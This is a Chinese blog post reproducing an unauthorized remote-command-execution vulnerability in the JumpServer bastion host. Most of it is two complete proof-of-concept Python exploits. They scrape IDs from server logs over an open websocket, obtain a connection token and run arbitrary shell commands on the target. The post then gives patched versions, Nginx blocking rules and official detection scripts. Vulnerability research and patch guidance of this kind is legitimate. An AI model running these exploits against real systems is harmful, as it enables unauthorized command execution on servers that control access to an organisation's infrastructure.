漏洞复现:JumpServer WebSocksts Unauthorized RCE

漏洞背景

JumpServer 是全球首款完全开源的堡垒机, 使用 GNU GPL v2.0 开源协议, 是符合 4A 的专业运维审计系统。 使用 Python / Django 进行开发, 遵循 Web 2.0 规范, 配备了业界领先的 Web Terminal 解决方案, 交互界面美观、用户体验好。 采纳分布式架构, 支持多机房跨区域部署, 中心节点提供 API, 各机房部署登录节点, 可横向扩展、无并发访问限制。

由于JumpServer程序中连接websocket的接口未做授权限制,导致攻击者可构造恶意请求获取服务器敏感信息,通过敏感信息中的相关参数,可构造请求获取相应token,进而可通过相关API操作来执行任意命令。

漏洞环境搭建

参考这位师傅的文章:https://www.o2oxy.cn/2921.html

1
2
3
4
User    Check   ........................ [ OK ]
OS Check ........................ [ ERROR ] 操作系统类型版本不符合要求,请使用 CentOS 7
CPU Check ........................ [ ERROR ] CPU 小于 2核,JumpServer 所在机器的 CPU 需要至少 2核
Memory Check ........................ [ ERROR ] 内存小于 8G,JumpServer 所在机器的内存需要至少 8G

2核8G。。之前傻逼了,以为CentOS安装好后,重启成为命令行模式,以为是错的,结果这是以为没有安装gui。

https://zhuanlan.zhihu.com/p/126601630

CentOS 7 :https://mirrors.ustc.edu.cn/centos/7.9.2009/isos/x86_64/

漏洞复现

公开POC 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# -*- coding: utf-8 -*-
# import requests
# import json
# data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
#
# url_host='http://192.168.1.73:8080'
#
# def get_token():
# url = url_host+'/api/v1/users/connection-token/?user-only=1'
# url =url_host+'/api/v1/authentication/connection-token/?user-only=1'
# response = requests.post(url, json=data).json()
# print(response)
# ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])
# print(ret.text)
# get_token()
import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(f"{recv_text}")

# 客户端主逻辑
async def main_logic(cmd):
print("#######start ws")
async with websockets.connect(target) as websocket:
recv_text = await websocket.recv()
print(f"{recv_text}")
resws=json.loads(recv_text)
id = resws['id']
print("get ws id:"+id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket,inittext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print("###############")
print("exec cmd: ls")
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
print(cmdtext)
await send_msg(websocket, cmdtext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print('#######finish')


if __name__ == '__main__':
try:
import sys
host=sys.argv[1]
cmd=sys.argv[2]
if host[-1]=='/':
host=host[:-1]
print(host)
data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
"system_user": "79655e4e-1741-46af-a793-fff394540a52"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(cmd))
except:
print("python jumpserver.py http://192.168.1.73 whoami")

公开POC 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# coding=utf-8

import asyncio
import websockets
import json
import requests
import re

target_url = 'http://127.0.0.1'
cmd = "ifconfig"


async def get_token():
print('========================================================================================================================================================')
url = target_url.replace("http", "ws") + "/ws/ops/tasks/log/"
print("Request => " + url + "token")
async with websockets.connect(url, timeout=3) as websocket:
await websocket.send('{"task":"/opt/jumpserver/logs/gunicorn"}')
for x in range(1000):
try:
rs = await asyncio.wait_for(websocket.recv(), timeout=3)
print("Recv => " + rs)
if '/api/v1/perms/asset-permissions/user/validate' in rs:
break
except:
print("Vulnerability may not exist")
exit()

print('========================================================================================================================================================')
print('Vulnerability may exist')

pattern = re.compile(r'asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ')
matchObj = pattern.search(rs)

if matchObj:
asset_id = matchObj.group(1)
print('asset_id = ' + asset_id)
system_user_id = matchObj.group(2)
print('system_user_id = ' + system_user_id)
user_id = matchObj.group(3)
print('user_id = ' + user_id)
print('========================================================================================================================================================')

data = {'asset': asset_id, 'system_user': system_user_id, 'user': user_id}
url = target_url + '/api/v1/users/connection-token/?user-only=1'
print("Request => " + url + ' get token')
response = requests.post(url, json=data).json()
print('token = ' + response['token'])
print('========================================================================================================================================================')

return response['token']


async def attack(url):
async with websockets.connect(url, timeout=3) as websocket:
print("Request => " + url)
rs = await websocket.recv()
print("Recv => " + rs)
id = json.loads(rs)["id"]
print("id = " + id)
print('========================================================================================================================================================')

init_payload = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
print("Request => " + "TERMINAL_INIT")
await websocket.send(init_payload)
rs = await websocket.recv()
print("Recv => " + rs)

rs = ""
while "Last login" not in rs:
rs = await websocket.recv()
print("Recv => " + rs)

cmd_payload = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"})
print("Request => " + "Cmd Payload")
await websocket.send(cmd_payload)

for x in range(1000):
try:
rs = await asyncio.wait_for(websocket.recv(), timeout=3)
print("Recv => " + rs)
except:
print('========================================================================================================================================================')
print('recv data end')
break


def exp():
token = asyncio.get_event_loop().run_until_complete(get_token())
url = target_url.replace("http", "ws") + "/koko/ws/token/?target_id=" + token
asyncio.get_event_loop().run_until_complete(attack(url))


if __name__ == '__main__':
exp()

漏洞修复

参考 https://github.com/jumpserver/jumpserver

紧急BUG修复通知

JumpServer发现远程执行漏洞,请速度修复

非常感谢 reactivity of Alibaba Hackerone bug bounty program(瑞典) 向我们报告了此 BUG

影响版本:

1
2
3
4
5
< v2.6.2
< v2.5.4
< v2.4.5
= v1.5.9
>= v1.5.3

安全版本:

1
2
3
4
5
>= v2.6.2
>= v2.5.4
>= v2.4.5
= v1.5.9 (版本号没变)
< v1.5.3

修复方案:

将JumpServer升级至安全版本;

临时修复方案:

修改 Nginx 配置文件屏蔽漏洞接口

1
2
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Nginx 配置文件位置

1
2
3
4
5
6
7
8
# 社区老版本
/etc/nginx/conf.d/jumpserver.conf

# 企业老版本
jumpserver-release/nginx/http_server.conf

# 新版本在
jumpserver-release/compose/config_static/http_server.conf

修改 Nginx 配置文件实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
### 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
return 403;
}

location /api/v1/users/connection-token/ {
return 403;
}
### 新增以上这些

location /api/ {
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://core:8080;
}

...

修改完成后重启 nginx

1
2
3
4
5
docker方式: 
docker restart jms_nginx

nginx方式:
systemctl restart nginx

修复验证

1
2
3
4
5
$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh 

# 使用方法 bash jms_bug_check.sh HOST
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复

入侵检测

下载脚本到 jumpserver 日志目录,这个目录中存在 gunicorn.log,然后执行

1
2
3
4
5
6
7
8
9
$ pwd
/opt/jumpserver/core/logs

$ ls gunicorn.log
gunicorn.log

$ wget 'https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_check_attack.sh'
$ bash jms_check_attack.sh
系统未被入侵

参考资料

https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw

Author: m0nk3y
Link: https://hack-for.fun/97f2.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.